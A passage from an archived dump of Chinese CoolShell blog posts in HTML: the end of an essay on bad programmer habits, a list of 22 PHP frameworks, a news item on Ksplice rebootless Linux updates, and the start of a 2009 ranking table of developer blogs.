写“聪明”的代码</strong></p>\n<p>他们写出来的代码需要别的同事查看程序语言参考手册，或是其程序的逻辑或是风格看上去相当时髦，但却非常难读。代码本应该简洁和易读，而他们喜欢在代码中表现自己，并尝试另类的东西，以显示自己的才气。是的，只有能力有问题的程序员才需要借助这样的显示。</p>\n<p>记得以前的一个经历，一位英语很不错的程序员加入公司，本来对我们这些英语二把刀来说，我们喜欢看到的是简单和易读的英文文档，然后，那位老兄为了展示他的英语如何牛，使用了很多GRE中比较生僻的短语和词汇。让大家阅读得很艰苦。最有讽刺意味的是，有一位native的美国人后来在其邮件中询问他某个单词的意思。呵呵。</p>\n<p>你是一个糟糕的程序员吗？欢迎你分享你的经历。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1081.html\">十个让你变成糟糕的程序员的行为</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-25 22个开源的PHP框架.html",
    "content": "<html><body><p>PHP 是一个被广泛使用的来进行Web开发的脚本语言。虽然有很多其它可供选择的Web开发语言，像：ASP 和Ruby，但是PHP是目前为止世界上最为流行的。</p>\n<p>那么，是什么让PHP如此流行？PHP 如此之流行是因为比起别的语言来，它更容易学习，网上有一大堆相当相当不错的PHP教程可以让你快速地马上就可以进行Web程序的开发。虽然PHP是是简单的，而且是容易上手的，但用它编程还是有点麻烦，尤其是一些反复在用的功能。不过，幸运的是，很多开发团队早就注意到了这点，现在在网上，PHP有许多的可以信任的PHP Framework 可以缩短我们的开发时间。这些框架被一个巨大的社区所支持，因些，如果你有什么问题的话，一定会有人乐意帮你去解决。</p>\n<p>废话少说，让我们来看看这22个PHP的框架。</p>\n<p><span id=\"more-1086\"></span></p>\n<h2>迄今最有前途的框架</h2>\n<h3>1. <a href=\"http://framework.zend.com/\" target=\"_blank\" title=\"Zend Framework\">Zend Framework</a></h3>\n<p><img alt=\"zend-framework\" height=\"115\" src=\"../wp-content/uploads/2009/06/zend-framework.png\" title=\"zend-framework\" width=\"500\"/><br/>\nZend Framework 是一个面向对象的，由PHP5写成的框架。其基于一个简洁和友好的许可证协议，并基于了一个经过了相当严酷测试的代码库开发而来。这是一个松散的几乎没有耦合架构设计，你可以方便地把其和其它框架混合使用。</p>\n<h3>2. <a href=\"http://www.symfony-project.org/\" target=\"_blank\" title=\"Symfony\">Symfony</a></h3>\n<p><img alt=\"symfony\" height=\"90\" src=\"../wp-content/uploads/2009/06/symfony.png\" title=\"symfony\" width=\"500\"/><br/>\nSymfony 是一个基于PHP 5 的框架，其提供了一个架构，组件和工具集，可以让你更快地创造你的应用。在其官网上提供了一些入门教程。</p>\n<p><span id=\"more-575\"> </span></p>\n<h3>3. <a href=\"http://codeigniter.com/\" target=\"_blank\" title=\"CodeIgniter\">CodeIgniter</a></h3>\n<p><img alt=\"codeigniter\" height=\"123\" src=\"../wp-content/uploads/2009/06/codeigniter.png\" title=\"codeigniter\" width=\"500\"/><br/>\nCodeIgniter 这个框架有一个wiki可以让你容易的查找相关的文档。其支持的是PHP4。</p>\n<h3>4. <a href=\"http://cakephp.org/\" target=\"_blank\" title=\"CakePHP\">CakePHP</a></h3>\n<p><img alt=\"cakephp\" height=\"108\" src=\"../wp-content/uploads/2009/06/cakephp.png\" title=\"cakephp\" width=\"500\"/><br/>\n这个框架使用了一些流行的设计模式比如： MVC  和ORM  ， CakePHP 可以有效地减少开发成本和帮助开发人员少写代码。</p>\n<h3>5. <a href=\"http://www.xisc.com/\" target=\"_blank\" title=\"Prado PHP Framework\">Prado</a></h3>\n<p><img alt=\"prado\" height=\"56\" src=\"../wp-content/uploads/2009/06/prado.png\" title=\"prado\" width=\"500\"/></p>\n<p>Prado 需要PHP5 及以上版本才能运行，这是基于组件和事件驱动编程的一个程序框架。</p>\n<h3>6. <a href=\"http://www.kohanaphp.com/\" target=\"_blank\" title=\"Kohana\">Kohana</a></h3>\n<p><img alt=\"kohana\" height=\"135\" src=\"../wp-content/uploads/2009/06/kohana.png\" title=\"kohana\" width=\"500\"/><br/>\nKohana 是一个基于 PHP 5 的框架，其也是使用MVC—— Model View Controller 架构模式。其面对的是安全，轻量级，和易用性。由于Kohana 原来基于 CodeIgniter开发，因为其限制了PHP5 的OOP能力，所以这个框架更合适用在一些中小型的应用。</p>\n<h3>7. <a href=\"http://solarphp.com/\" target=\"_blank\" title=\"Solar Framework\">Solar Framework</a></h3>\n<p><img alt=\"solar\" height=\"141\" src=\"../wp-content/uploads/2009/06/solar.png\" title=\"solar\" width=\"500\"/><br/>\nSolar 是一个 PHP 5 的框架，其可以用做企业级的应用，而且有内建的语言集和配置。</p>\n<h3>8. <a href=\"http://www.phpfuse.net/\" target=\"_blank\" title=\"Fuse\">Fuse</a></h3>\n<p><img alt=\"fuse\" height=\"84\" src=\"../wp-content/uploads/2009/06/fuse.png\" title=\"fuse\" width=\"500\"/><br/>\nFUSE 也是一个MVC的PHP框架。其注是要受到了Ruby on Rails 和CakePHP的影响，其有定制和直接的设计。FUSE 是一个功能完整，相当稳定的使用面向对像开发的MVC框架。</p>\n<h3>9. <a href=\"http://www.yiiframework.com/\" target=\"_blank\" title=\"Yii PHP Framework\">Yii PHP Framework</a></h3>\n<p><img alt=\"yii\" height=\"57\" src=\"../wp-content/uploads/2009/06/yii.png\" title=\"yii\" width=\"500\"/><br/>\nYii 是一个高性能的组件式的PHP框架，对于那些大型的Web应用来说，这是最好的框架，全面的功能。但需要PHP5及以上版的支持。</p>\n<h3>10. <a href=\"http://www.akelos.org/\" target=\"_blank\" title=\"Akelos PHP Framework\">Akelos PHP Framework</a></h3>\n<p><img alt=\"akelos\" height=\"108\" src=\"../wp-content/uploads/2009/06/akelos.png\" title=\"akelos\" width=\"500\"/><br/>\nAkelos PHP 框架也是基于 MVC (Model View Controller) 设计模式的框架。</p>\n<h2>其它可选的 PHP 框架</h2>\n<p>11. <a href=\"http://www.recessframework.org/\" target=\"_blank\" title=\"Recess\">Recess</a><br/>\n12. <a href=\"http://www.agavi.org/\" target=\"_blank\" title=\"Agavi\">Agavi</a><br/>\n13. <a href=\"http://www.qcodo.com/\" target=\"_blank\" title=\"Qcodo\">Qcodo</a><br/>\n14. <a href=\"http://zoopframework.com/\" target=\"_blank\" title=\"Zoop\">Zoop</a><br/>\n15. <a href=\"http://qphp.net/\" target=\"_blank\" title=\"QPHP\">QPHP</a><br/>\n16. <a href=\"http://seagullproject.org/\" target=\"_blank\" title=\"Seagull\">Seagull PHP</a><br/>\n17. <a href=\"http://www.phpdevshell.org/\" target=\"_blank\" title=\"PHPDevShell\">PHPDevShell<br/>\n</a>18. <a href=\"http://www.phpopenbiz.org/\" target=\"_blank\" title=\"PHPOpenBiz\">PHPOpenBiz</a><br/>\n19. <a href=\"http://wasp.sourceforge.net/content/\" target=\"_blank\" title=\"WASP\">WASP</a><br/>\n20. <a href=\"http://evocore.net/\" target=\"_blank\" title=\"evoCore\">evoCore</a><br/>\n21. <a href=\"http://www.lionframework.org/\" target=\"_blank\" title=\"Lion\">Lion</a><br/>\n22. <a href=\"http://flow3.typo3.org/\" target=\"_blank\" title=\"Flow3\">Flow3</a></p>\n<p>文章：<a href=\"http://www.webdesignbooth.com/22-open-source-php-frameworks-to-shorten-your-development-time/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1086.html\">22个开源的PHP框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-30 Ksplice Uptrack — Ubuntu更新不用重启.html",
    "content": "<html><body><p>Ksplice是马萨诸塞州坎布里奇的一家新兴厂商，它开发的软件可以帮助计算机用户保持其操作系统的安全性而且不需要经常麻烦的重新启动就可升级操作系统，Ksplice被评为麻省理工10万美元创业竞赛的6个入围项目之一。</p>\n<p>Ksplice是Web/IT类冠军，它将与其他5个类别的入围者争夺总奖金。该公司是去年由四个麻省理工学院校友成立的，</p>\n<p>Ksplice目前支持Linux内核的更新，但它声称其免重启更新技术工作在目标代码层，可以适用于任何操作系统或者用户空间应用。该公司说，其技术对安全更新来说特别有益，可以解决因不方便重启而使安全更新不能及时生效的问题。</p>\n<p>昨日他们在剑桥发布了Ksplice解决方案，运用这种技术将实现无缝更新，从企业软件、系统补丁乃至Linux内核的更新都不需要重启就可以直接完成，改变了数十年来计算机运行最新代码需要重启的麻烦问题。</p>\n<p>相关链接：</p>\n<ul>\n<li>Ksplice Uptrack 主页在这里：<a href=\"http://www.ksplice.com/uptrack/\">http://www.ksplice.com/uptrack/</a></li>\n<li>安装指南在这里：<a href=\"http://www.ksplice.com/uptrack/download\">http://www.ksplice.com/uptrack/download</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4826.html\"><img alt=\"GNU/Linux下有多少是GNU的？\" height=\"150\" src=\"../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/501.html\"><img alt=\"Ubuntu的并行启动\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-30 Top 200的全球开发者BLOG.html",
    "content": "<html><body><p>本文源自<a href=\"http://www.noop.nl/2009/06/top-200-blogs-for-developers-q2-2009.html\" target=\"_blank\">这里</a>，文中列出了全球前200名的开发者的BLOG。有的可能你很熟悉，有的你可能还不知道。这些BLOG的排名通过查看，<em>Google PageRank</em>, <em>Technorati Authority</em>, <em>Alexa Rank</em>, <em>Google links</em>, <em>Twitter Grader Rank</em>等等，形成的综合排名。如果你对此感兴趣的话，你可以看看这篇文章——《<a href=\"http://www.noop.nl/how-to-make-a-top-blog-list.html\" target=\"_blank\">如何制作一个Blog排名</a>》</p>\n<p>下面是前200名的排名。希望对那些有日常浏览Blog习惯的人有帮助。大家可以下载更为详细的<a href=\"http://nooperation.typepad.com/files/top200developmentblogsq22009.xls\" target=\"_blank\">Excel表格</a>。</p>\n<p>本排名截止至：2009年第二季度</p>\n<p><span id=\"more-1092\"></span></p>\n<p><strong>其中：</strong><br/>\n<strong>TT</strong> = This Time 本次名次<br/>\n<strong>LT</strong> = Last Time 上次名次</p>\n<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\">\n<tbody>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>TT</strong></td>\n<td align=\"center\" valign=\"top\"><strong>LT</strong></td>\n<td valign=\"top\"><strong>Blog</strong></td>\n<td valign=\"top\"><strong>Author</strong></td>\n<td valign=\"top\"><strong>Twitter</strong></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>1</strong></td>\n<td align=\"center\" valign=\"top\">6</td>\n<td valign=\"top\"><a href=\"http://www.hanselman.com/blog/\">Scott Hanselman’s Computer Zen</a></td>\n<td valign=\"top\">Scott Hanselman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/shanselman\">shanselman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>2</strong></td>\n<td align=\"center\" valign=\"top\">2</td>\n<td valign=\"top\"><a href=\"http://www.codinghorror.com/\">Coding Horror</a></td>\n<td valign=\"top\">Jeff Atwood</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codinghorror\">codinghorror</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>3</strong></td>\n<td align=\"center\" valign=\"top\">19</td>\n<td valign=\"top\"><a href=\"http://highscalability.com/\">High Scalability</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>4</strong></td>\n<td align=\"center\" valign=\"top\">12</td>\n<td valign=\"top\"><a href=\"http://lambda-the-ultimate.org/\">Lambda the Ultimate</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>5</strong></td>\n<td align=\"center\" valign=\"top\">16</td>\n<td valign=\"top\"><a href=\"http://www.uie.com/brainsparks/\">UIE Brain Sparks</a></td>\n<td valign=\"top\">Jared Spool</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jmspool\">jmspool</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>6</strong></td>\n<td align=\"center\" valign=\"top\">13</td>\n<td valign=\"top\"><a href=\"http://raibledesigns.com/\">Raible Designs</a></td>\n<td valign=\"top\">Matt Raible</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mraible\">mraible</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>7</strong></td>\n<td align=\"center\" valign=\"top\">59</td>\n<td valign=\"top\"><a href=\"http://dobbscodetalk.com/\">Dr. Dobb’s CodeTalk</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>8</strong></td>\n<td align=\"center\" valign=\"top\">14</td>\n<td valign=\"top\"><a href=\"http://www.25hoursaday.com/weblog/\">Dare Obasanjo aka Carnage4Life</a></td>\n<td valign=\"top\">Dare Obasanjo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/carnage4life\">carnage4life</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>9</strong></td>\n<td align=\"center\" valign=\"top\">3</td>\n<td valign=\"top\"><a href=\"http://martinfowler.com/bliki/\">Martin Fowler’s Bliki</a></td>\n<td valign=\"top\">Martin Fowler</td>\n<td valign=\"top\"><a href=\"http://twitter.com/martinfowler\">martinfowler</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>10</strong></td>\n<td align=\"center\" valign=\"top\">1</td>\n<td valign=\"top\"><a href=\"http://www.joelonsoftware.com/\">Joel on Software</a></td>\n<td valign=\"top\">Joel Spolsky</td>\n<td valign=\"top\"><a href=\"http://twitter.com/spolsky\">spolsky</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>11</strong></td>\n<td align=\"center\" valign=\"top\">8</td>\n<td valign=\"top\"><a href=\"http://bokardo.com/\">Bokardo: Social Design</a></td>\n<td valign=\"top\">Joshua Porter</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bokardo\">bokardo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>12</strong></td>\n<td align=\"center\" valign=\"top\">25</td>\n<td valign=\"top\"><a href=\"http://www.scottberkun.com/blog/\">The Berkun Blog</a></td>\n<td valign=\"top\">Scott Berkun</td>\n<td valign=\"top\"><a href=\"http://twitter.com/berkun\">berkun</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>13</strong></td>\n<td align=\"center\" valign=\"top\">18</td>\n<td valign=\"top\"><a href=\"http://codebetter.com/\">CodeBetter.Com</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codebetter\">codebetter</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>14</strong></td>\n<td align=\"center\" valign=\"top\">7</td>\n<td valign=\"top\"><a href=\"http://www.randsinrepose.com/\">Rands in Repose</a></td>\n<td valign=\"top\">Michael Lopp</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rands\">rands</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>15</strong></td>\n<td align=\"center\" valign=\"top\">10</td>\n<td valign=\"top\"><a href=\"http://blog.stackoverflow.com/\">Stack Overflow</a></td>\n<td valign=\"top\">Jeff Atwood</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>16</strong></td>\n<td align=\"center\" valign=\"top\">15</td>\n<td valign=\"top\"><a href=\"http://blog.jonudell.net/\">Jon Udell</a></td>\n<td valign=\"top\">Jon Udell</td>\n<td valign=\"top\"><a href=\"http://twitter.com/judell\">judell</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>17</strong></td>\n<td align=\"center\" valign=\"top\">20</td>\n<td valign=\"top\"><a href=\"http://blog.objectmentor.com/\">Object Mentor Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>18</strong></td>\n<td align=\"center\" valign=\"top\">37</td>\n<td valign=\"top\"><a href=\"http://blog.softwareprojects.org/\">Project Shrink</a></td>\n<td valign=\"top\">Bas de Baar</td>\n<td valign=\"top\"><a href=\"http://twitter.com/projectshrink\">projectshrink</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>19</strong></td>\n<td align=\"center\" valign=\"top\">4</td>\n<td valign=\"top\"><a href=\"http://thedailywtf.com/\">The Daily WTF</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dailywtf\">dailywtf</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>20</strong></td>\n<td align=\"center\" valign=\"top\">30</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/jmeier/\">J.D. Meier’s Blog</a></td>\n<td valign=\"top\">J.D. Meier</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>21</strong></td>\n<td align=\"center\" valign=\"top\">28</td>\n<td valign=\"top\"><a href=\"http://www.artima.com/weblogs/\">Artima Weblogs</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>22</strong></td>\n<td align=\"center\" valign=\"top\">21</td>\n<td valign=\"top\"><a href=\"http://regulargeek.com/\">Regular Geek</a></td>\n<td valign=\"top\">Rob Diana</td>\n<td valign=\"top\"><a href=\"http://twitter.com/robdiana\">robdiana</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>23</strong></td>\n<td align=\"center\" valign=\"top\">24</td>\n<td valign=\"top\"><a href=\"http://www.noop.nl/\">NOOP.NL</a></td>\n<td valign=\"top\">Jurgen Appelo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jurgenappelo\">jurgenappelo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>24</strong></td>\n<td align=\"center\" valign=\"top\">81</td>\n<td valign=\"top\"><a href=\"http://jeffreypalermo.com/\">Jeffrey Palermo (.com)</a></td>\n<td valign=\"top\">Jeffrey Palermo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffreypalermo\">jeffreypalermo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>25</strong></td>\n<td align=\"center\" valign=\"top\">46</td>\n<td valign=\"top\"><a href=\"http://tech.puredanger.com/\">Pure Danger Tech</a></td>\n<td valign=\"top\">Alex Miller</td>\n<td valign=\"top\"><a href=\"http://twitter.com/puredanger\">puredanger</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>26</strong></td>\n<td align=\"center\" valign=\"top\">45</td>\n<td valign=\"top\"><a href=\"http://blogs.tedneward.com/\">Interoperability Happens</a></td>\n<td valign=\"top\">Ted Neward</td>\n<td valign=\"top\"><a href=\"http://twitter.com/tedneward\">tedneward</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>27</strong></td>\n<td align=\"center\" valign=\"top\">124</td>\n<td valign=\"top\"><a href=\"http://xprogramming.com/blog/\">Hot Needle of Inquiry</a></td>\n<td valign=\"top\">Ron Jeffries</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ronjeffries\">ronjeffries</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>28</strong></td>\n<td align=\"center\" valign=\"top\">60</td>\n<td valign=\"top\"><a href=\"http://www.betterprojects.net/\">Better Projects</a></td>\n<td valign=\"top\">Craig Brown</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>29</strong></td>\n<td align=\"center\" valign=\"top\">73</td>\n<td valign=\"top\"><a href=\"http://blog.softwareinsider.org/\">A Software Insiders Point of View</a></td>\n<td valign=\"top\">R “Ray” Wang</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rwang0\">rwang0</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>30</strong></td>\n<td align=\"center\" valign=\"top\">50</td>\n<td valign=\"top\"><a href=\"http://www.sauria.com/blog/\">Ted Leung on the Air</a></td>\n<td valign=\"top\">Ted Leung</td>\n<td valign=\"top\"><a href=\"http://twitter.com/twleung\">twleung</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>31</strong></td>\n<td align=\"center\" valign=\"top\">69</td>\n<td valign=\"top\"><a href=\"http://www.agilemanagement.net/Articles/Weblog/blog.html\">Agile Management Blog</a></td>\n<td valign=\"top\">David Anderson</td>\n<td valign=\"top\"><a 